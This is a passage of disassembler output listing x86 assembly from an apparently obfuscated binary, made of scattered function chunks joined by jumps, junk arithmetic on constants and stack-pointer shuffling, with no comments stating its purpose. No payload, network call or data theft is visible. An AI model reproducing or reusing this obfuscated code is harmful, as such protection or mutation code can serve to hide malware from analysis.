		and	edx, 39FF7BDFh
		jge	loc_5A9E42
		inc	edx
		jns	loc_5A621F
		mov	cl, 0BCh
		mov	bh, bl


loc_5A936F:				; CODE XREF: sub_5AE29C-3423j
		mov	esi, esp
		add	esi, 4
		jmp	loc_59AE7C
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A937C:				; CODE XREF: sub_5A79BE-3AA8j
		jnb	loc_59BC20
		jmp	loc_59F842
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
		push	0
		mov	al, 0
		mov	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_59F566


loc_5A9390:				; CODE XREF: sub_59F566+1j
		mov	ebp, 7F1F7B01h
		shr	ebp, 6
		add	ebp, 1DCF32E2h
		sub	ebp, 188AA1D2h
		sub	esi, ebp
		pop	ebp
		pop	ebp
		jmp	loc_59CA41
; END OF FUNCTION CHUNK	FOR sub_59F566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A93AD:				; CODE XREF: sdfs____:0059B783j
					; sub_5A0AA2+B1E3j
		and	edx, 70D70C00h
		jmp	loc_59A6DE
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A93B8:				; CODE XREF: sub_59F02F+D6CBj
		add	esi, 0B5618FDBh
		jmp	loc_59C365
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A93C3:				; CODE XREF: sub_59D6B8-3B23j
		mov	ebx, esp
		jmp	loc_5ADCB0
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A93CA:				; CODE XREF: sub_5AF294-6B80j
		pop	esp
		push	eax
		mov	eax, 4
		add	esi, 6337341h
		add	esi, eax
		jmp	loc_5AADC6
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A93DE:				; CODE XREF: sub_5AFD37-CC5Fj
					; sub_5AA2D1+514Aj
		jl	loc_5A4F6A
		and	eax, 7E37516Dh
		jle	loc_5A8317
		or	eax, 21351BA3h
		sub	eax, 0C4374449h
		push	eax
		add	[esp-1Ch+arg_18], 3C595DBAh
		pop	ebp
		sub	ebp, 3C595DBAh
		pop	eax
		dec	ebp
		jnp	loc_5A7B23
		jmp	loc_59E67D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A9415:				; CODE XREF: sub_59D6B8+10AFFj
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		pop	esp
		xor	edx, edx
		jmp	loc_59D707
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5A9436:				; CODE XREF: sub_5A81C4-80A4j
		mov	ecx, [esp+0]
		jmp	loc_59D967
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A943E:				; CODE XREF: sub_5AA2D1-2D23j
		or	edi, 3F8E75E5h
		jns	loc_5A0ED7
		add	edi, 208A0Dh
		mov	edx, edi
		jmp	loc_5AC280
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A9457:				; CODE XREF: sub_5A79BE-6258j
		add	esp, 4
		xchg	edx, [esp-8+arg_4]
		jmp	loc_5A8BF2
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9462:				; CODE XREF: sub_5AA2D1-ABE1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_59BC48
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A9476:				; CODE XREF: sub_59CBE1+43Cj
		add	ebx, 4
		jmp	sub_5A2065
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A9481:				; CODE XREF: sub_59A9E9+4C5Dj
		push	3C62h
		mov	[esp+18h+var_18], edx
		mov	dh, bl
		push	eax
		mov	ah, dh
		push	ebx
		jmp	loc_59C945
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5A9494:				; CODE XREF: sub_5A3C19+98BAj
		add	esp, 4
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		jmp	sub_5A06DD
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A94A2:				; CODE XREF: sub_5AA810-10DE5j
		jmp	loc_5AAA8D
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A94A7:				; CODE XREF: sub_5A2E41+A1F8j
		dec	ecx
		add	ecx, 0D7AEDD4Bh
		or	edi, ecx
		pop	ecx
		jmp	loc_5A478F
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A94B6:				; CODE XREF: sub_5A580F-58A5j
		xor	eax, 185E43FDh
		sub	[esp+0Ch+var_8], eax
		jmp	loc_5AA514
; END OF FUNCTION CHUNK	FOR sub_5A580F

; =============== S U B	R O U T	I N E =======================================



sub_5A94C4	proc near		; DATA XREF: sdfs____:00598E6Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_59CC7F
sub_5A94C4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A94D9:				; CODE XREF: sub_5AA2D1-5C2Ej
		push	eax
		push	esi
		mov	esi, 2D950647h
		mov	eax, 7400609Bh
		sub	eax, esi
		jmp	loc_5A3D3C
; ---------------------------------------------------------------------------


loc_5A94EC:				; CODE XREF: sub_5AA2D1+5C97j
		add	ebx, eax
		pop	eax
		jmp	sub_5A79BE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A94F4:				; CODE XREF: sub_59D6B8+1D73j
		pop	ebx
		add	eax, 2
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_59B06D
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A9501:				; CODE XREF: sub_5AD993-12DE2j
		mov	esi, 798E4CB1h
		mov	ecx, esi
		mov	esi, [esp-10h+arg_C]
		add	esp, 4
		neg	ecx
		sub	esp, 4
		mov	[esp-10h+arg_C], ebp
		jmp	loc_5A48B6
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A9521:				; CODE XREF: sub_59A26C-CDAj
		xor	ebp, 508A3F88h
		sub	eax, 50C90A71h
		add	eax, ebp
		add	eax, 50C90A71h
		jmp	loc_5AC8CF
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A9538:				; CODE XREF: sub_5A9D64+6j
		mov	[esp+4+var_4], ebp
		mov	ebp, 6A0D711Ah
		add	eax, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	44F0h
		mov	[esp+4+var_4], ebp
		mov	ebp, 354811D8h
		add	eax, ebp
		pop	ebp
		jmp	loc_5A27AC
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9560:				; CODE XREF: sub_5AA2D1+5E14j
		add	esi, ebx
		pop	ebx
		shl	esi, 7
		push	esi
		not	[esp+8+var_8]
		pop	esi
		jmp	loc_5AC01E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_5A9570:				; CODE XREF: sub_5A5607+13j
		sub	esi, 404A065Bh
		pop	ebx
		jmp	loc_5A0861
; END OF FUNCTION CHUNK	FOR sub_5A5607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5A957C:				; CODE XREF: sub_59FB1A+9163j
		pop	ebx
		jmp	loc_59E9D3
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A9582:				; CODE XREF: sub_5A79BE-49D5j
		mov	ecx, 5C943992h
		shl	ecx, 3
		shl	ecx, 5
		jmp	loc_5AC982
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5A9592:				; CODE XREF: sub_5AB207+1j
		push	ecx
		push	4D7E472Fh
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xor	ecx, 63D92553h
		jmp	loc_5A6DC5
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A95A9:				; CODE XREF: sub_5AF294:loc_5A0739j
		xor	ecx, 28BEEBB5h
		dec	ecx
		jg	loc_59F6E0
		shr	ecx, 5
		jnp	loc_59958C
		jmp	loc_5A5410
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
		push	esp


loc_5A95C5:				; CODE XREF: sdfs____:0059FD5Dj
		push	edx
		mov	edx, 27A500Bh
		or	edx, 0D634E3Ah
		shl	edx, 7
		jmp	loc_599C07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5A95D9:				; CODE XREF: sub_5AD84A-128C7j
		pop	ebx
		jmp	loc_59B470
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A95DF:				; CODE XREF: sub_5A503A+1Bj
		jbe	loc_59EFCC
		shl	ebx, 6
		shl	ebx, 7
		add	ebx, 0E619BDFh
		sub	esp, 4
		jmp	loc_5A989D
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAFCA


loc_5A95F9:				; CODE XREF: sub_5AAFCA+4AEEj
		push	edx
		push	[esp+8+var_4]
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_5A1A86
; END OF FUNCTION CHUNK	FOR sub_5AAFCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A960D:				; CODE XREF: sub_59C979+11F89j
		push	edx
		push	ecx
		jmp	loc_5A8973
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A9614:				; CODE XREF: sub_5996E4+F438j
		mov	edi, 75467505h
		or	edi, 3D374E84h
		shl	edi, 3
		sub	edi, 1B6535C7h
		shl	edi, 3
		jmp	loc_59B840
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_5A9630:				; CODE XREF: sub_5AB622+45EDj
		add	esp, 4
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		pop	esp
		shl	word ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_59C120
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------


loc_5A9659:				; CODE XREF: sdfs____:005ACC13j
		sub	bh, 4Fh
		jmp	loc_59E2F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEC1C


loc_5A9661:				; CODE XREF: sub_5AEC1C-8DC0j
		shl	dh, 6
		or	dh, 0F7h
		sub	dh, 48h
		jmp	loc_5A294F
; END OF FUNCTION CHUNK	FOR sub_5AEC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A966F:				; CODE XREF: sub_5992DA+12790j
		xor	ecx, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		add	eax, 12BB2E16h
		sub	eax, 57403C27h
		add	eax, ecx
		add	eax, 57403C27h
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, 5A332863h
		and	ecx, 6B457EA7h
		xor	ecx, 64F73D97h
		dec	ecx
		sub	ecx, 1C3AE79Dh
		sub	eax, ecx
		jmp	loc_5ADDDA
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A96B0:				; CODE XREF: sub_59C979+1710j
		pop	esp
		push	small 302Fh
		mov	[esp+2+var_2], dx
		push	3085h
		mov	[esp+6+var_6], ebx
		mov	bh, 6Eh
		and	bh, 0B9h
		jl	loc_5A1756
		jmp	loc_599582
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5A96D1:				; CODE XREF: sub_5B03B3-158EDj
		pop	ebx
		pop	edi
		jmp	loc_59DB52
; END OF FUNCTION CHUNK	FOR sub_5B03B3

; =============== S U B	R O U T	I N E =======================================



sub_5A96D8	proc near		; CODE XREF: sub_5A6BBC-AB7Aj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005995EB SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059C7DC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F7A0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A14ED SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005ACA9E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AED1F SIZE 0000000B BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	72D7h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebp, [esp+8+var_8]
		jmp	loc_59F7A0
sub_5A96D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1531


loc_5A9705:				; CODE XREF: sub_5A1531+9j
		dec	ebp
		sub	ebp, 47FEA0CCh
		jmp	loc_5A6C68
; END OF FUNCTION CHUNK	FOR sub_5A1531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A9711:				; CODE XREF: sub_59F02F+7148j
		xchg	esi, [esp+10h+var_10]
		pop	esp
		push	edx
		pop	edi
		pop	edx
		shl	edi, 1
		push	759Ch
		mov	[esp+0Ch+var_C], ecx
		push	esi
		mov	esi, 1AB05FF9h
		inc	esi
		not	esi
		jmp	loc_5AC6EF
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABC2F


loc_5A9730:				; CODE XREF: sub_5ABC2F+7j
		mov	eax, [esp+8+var_8]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59C99B
; END OF FUNCTION CHUNK	FOR sub_5ABC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A973B:				; CODE XREF: sub_5A503A:loc_5A19C9j
		xor	edi, 7FF50635h
		jmp	loc_5A21DC
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A9746:				; CODE XREF: sub_59CBE1-23D4j
		xor	eax, ebp
		jmp	loc_59EC70
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5A974D:				; CODE XREF: sub_5ABE0D+25j
		add	edx, 28884F5Bh
		jz	loc_5A29D8
		push	eax
		push	esi
		jmp	loc_5AE4DE
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------


loc_5A9760:				; CODE XREF: sdfs____:0059DEFCj
		xor	edi, edx
		jmp	loc_59E861
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9767:				; CODE XREF: sub_5AA2D1-AF3Aj
		pop	ecx
		add	edx, eax
		mov	eax, [esp-14h+arg_10]
		push	ecx
		jmp	loc_5ADD20
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A9773:				; CODE XREF: sub_59C979+1204j
		pop	esp
		mov	esi, 0FFFE071Ah
		jmp	loc_5A200F
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A977E:				; CODE XREF: sub_5AA2D1-E8EFj
		sub	eax, 66A339B0h
		jnb	loc_5A0B1B
		xor	eax, 0ABDEC484h
		sub	esp, 4
		jmp	loc_5AB20D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A9799	proc near		; DATA XREF: sdfs____:00599070o
		mov	ax, [esp+0]
		jmp	sub_5A556E
sub_5A9799	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2F58


loc_5A97A2:				; CODE XREF: sub_5A2F58+836j
		jmp	loc_5AD3AD
; END OF FUNCTION CHUNK	FOR sub_5A2F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C95F


loc_5A97A7:				; CODE XREF: sub_59C95F-729j
		mov	[esp-4+arg_0], edi
		push	[esp-4+arg_4]
		pop	edi
		pop	[esp-4+arg_0]
		pop	esp
		mov	cx, [esp+0]
		push	3BB7h
		jmp	loc_59C793
; END OF FUNCTION CHUNK	FOR sub_59C95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A97C1:				; CODE XREF: sub_59A9E9+B6B5j
		push	esi
		mov	esi, 976C5B2Ah
		add	ecx, esi
		pop	esi
		mov	ebx, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	6D37h
		mov	[esp+8+var_8], eax
		push	ebx
		mov	ebx, 68426CA8h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5A7B2F
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A97E8:				; CODE XREF: sub_5A0924-575Fj
		mov	[esp+0], ecx
		push	3994h
		push	esp
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		mov	ecx, [esp+4+var_4]
		jmp	loc_5A88D6
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4B1


loc_5A9800:				; CODE XREF: sub_59B4B1+496Cj
		sub	bl, dh
		push	266Bh
		mov	[esp+0], eax
		mov	ah, 4Dh
		add	bl, ah
		pop	eax
		push	31F4h
		mov	[esp+0], ecx
		mov	ch, 0A4h
		sub	bl, 8Ch
		sub	bl, ch
		jmp	loc_5AB9FF
; END OF FUNCTION CHUNK	FOR sub_59B4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A9823:				; CODE XREF: sub_5A2E28-9C90j
					; sub_59EE3E+28B6j
		push	[esp+arg_0]
		pop	eax
		pop	dword ptr [esp+0]
		pop	esp
		inc	word ptr [esp-8+arg_4]
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A9836:				; CODE XREF: sub_59F1F3+E4DCj
		push	edx
		pop	esi
		pop	edx
		shr	esi, 8
		or	esi, 4F072873h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp-8+arg_4], eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5A35B4
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A9866:				; CODE XREF: sub_5A7BA0+5651j
		mov	[esp+0], ebp
		mov	ebp, 0CDD45F06h
		jmp	loc_5A08B6
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A9873:				; CODE XREF: sub_5AB3DB-CBAEj
		xor	edi, 25170A41h
		and	eax, edi
		pop	edi
		add	eax, 8502A9Dh
		push	edi
		push	eax
		pop	edi
		mov	edx, edi
		pop	edi
		jmp	loc_59ED18
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A988C:				; CODE XREF: sub_59CBE1:loc_5A8C77j
		dec	eax
		jnz	loc_5AFC4C
		inc	eax
		sub	eax, 2C7B0B59h
		mov	ecx, edx
		mov	edi, edi
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A989D:				; CODE XREF: sub_5A503A+45BAj
		mov	[esp+8+var_8], ebx
		add	[esp+8+var_8], 404A065Bh
		mov	esi, [esp+8+var_8]
		jmp	sub_5A5607
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A98AF:				; CODE XREF: sub_5AB3DB+3j
		mov	[esp+0], edi
		mov	edi, esp
		push	eax
		mov	eax, 4CD67860h
		jmp	loc_5A9E25
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A98BF:				; CODE XREF: sub_59C979+EBA3j
		add	eax, 4
		jmp	loc_59E086
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A98C7:				; CODE XREF: sub_59AA62+12BD5j
					; sub_5AA2D1+5217j
		xchg	esi, [esp+0]
		pop	esp
		add	ebp, 29A65541h
		jmp	loc_5A8E75
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5A98D6:				; CODE XREF: sub_5B01F7-14934j
					; sub_59D4FD+3959j
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		push	ecx
		mov	ecx, 49353020h
		push	edx
		mov	edx, 40C15C15h
		xor	edx, 3E5866BBh
		sub	edx, 2DA846ADh
		not	edx
		xor	edx, 7D325813h
		add	edx, 0E804D5Dh
		xor	edx, 1F785109h
		add	ecx, edx
		pop	edx
		push	ecx
		pop	edx
		pop	ecx
		push	edi
		push	esi
		mov	esi, 4B4B3171h
		jmp	loc_59C56C
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A991E:				; CODE XREF: sub_5992DA+D319j
					; sub_5AA2D1:loc_5AA265j
		pop	ebx
		push	ecx
		jmp	loc_5AEE7F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A9925:				; CODE XREF: sub_5A18F6+8431j
		mov	[esp+8+var_8], edx
		mov	edx, 6C016A45h
		jmp	loc_5A5EB6
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A9932:				; CODE XREF: sub_59993B+B929j
		sub	[esp+8+var_4], 416E4C81h
		push	[esp+8+var_8]
		jmp	loc_5A8A8E
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9942:				; CODE XREF: sub_5AFA26-154E5j
					; sub_5AA2D1-890Dj
		neg	ebp
		jo	loc_59B470
		xor	ebp, 14582F8Eh
		jmp	loc_59A818
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A9955:				; CODE XREF: sdfs____:0059E84Ej
		push	ecx
		mov	ch, 0CFh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59DCC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A9963:				; CODE XREF: sub_5A0AA2+CB8Dj
		dec	ebx
		push	eax
		mov	eax, 5E9F4A2Fh
		jmp	loc_59E50D
; END OF FUNCTION CHUNK	FOR sub_5A0AA2

; =============== S U B	R O U T	I N E =======================================



sub_5A996F	proc near		; CODE XREF: sub_5ABFD8-10764j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059B2F2 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059EE98 SIZE 00000006 BYTES

		push	ebp
		push	48CBh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ebp
		jmp	loc_59EE98
sub_5A996F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA52F


loc_5A9982:				; CODE XREF: sub_5AA52F+6j
		mov	word ptr [esp+4+var_4],	dx
		mov	dl, 0C5h
		add	al, dl
		jmp	loc_59C9AD
; END OF FUNCTION CHUNK	FOR sub_5AA52F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A998F:				; CODE XREF: sub_5A79BE-4F88j
					; sub_5AE9FA:loc_5AD1F6j
		and	edx, 5F6612BCh
		xor	edx, 4EB2269Bh
		add	edi, edx
		pop	edx
		pop	esi
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		jmp	loc_5A53C2
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A99AD:				; CODE XREF: sub_5992DA+EF36j
		xor	esi, [esp+1Ch+var_1C]
		jmp	loc_5A2B1A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A99B5:				; CODE XREF: sub_5A2E28-3C17j
		mov	ebp, 63ED19DCh
		mov	edi, ebp
		pop	ebp
		sub	[esp+arg_4], edi
		pop	edi
		add	[esp-4+arg_4], edi
		jmp	loc_59CAD2
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A99CB:				; CODE XREF: sub_59E94B+A82Cj
		mov	edi, 147D43CAh
		mov	ecx, 0FBF20873h
		add	ecx, edi
		pop	edi
		dec	ecx
		jge	loc_59A8D7
		jmp	loc_5A19FE
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
		mov	edx, 0E2257D2h
		mov	al, cl
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A99EC:				; CODE XREF: sub_59C979:loc_5A1756j
		not	bh
		add	bh, 0EEh
		jmp	loc_5ACAB3
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A99F6:				; CODE XREF: sub_59EE3E-517Dj
		sub	ecx, 409B2FFFh
		pop	edx
		sub	esp, 4
		mov	[esp+0], esi
		push	eax
		push	ebx
		jmp	loc_5A1012
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9A0A:				; CODE XREF: sub_5AA2D1-A993j
		pop	eax
		sub	esp, 4
		mov	[esp-1Ch+arg_18], eax
		jmp	loc_5A8B8A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


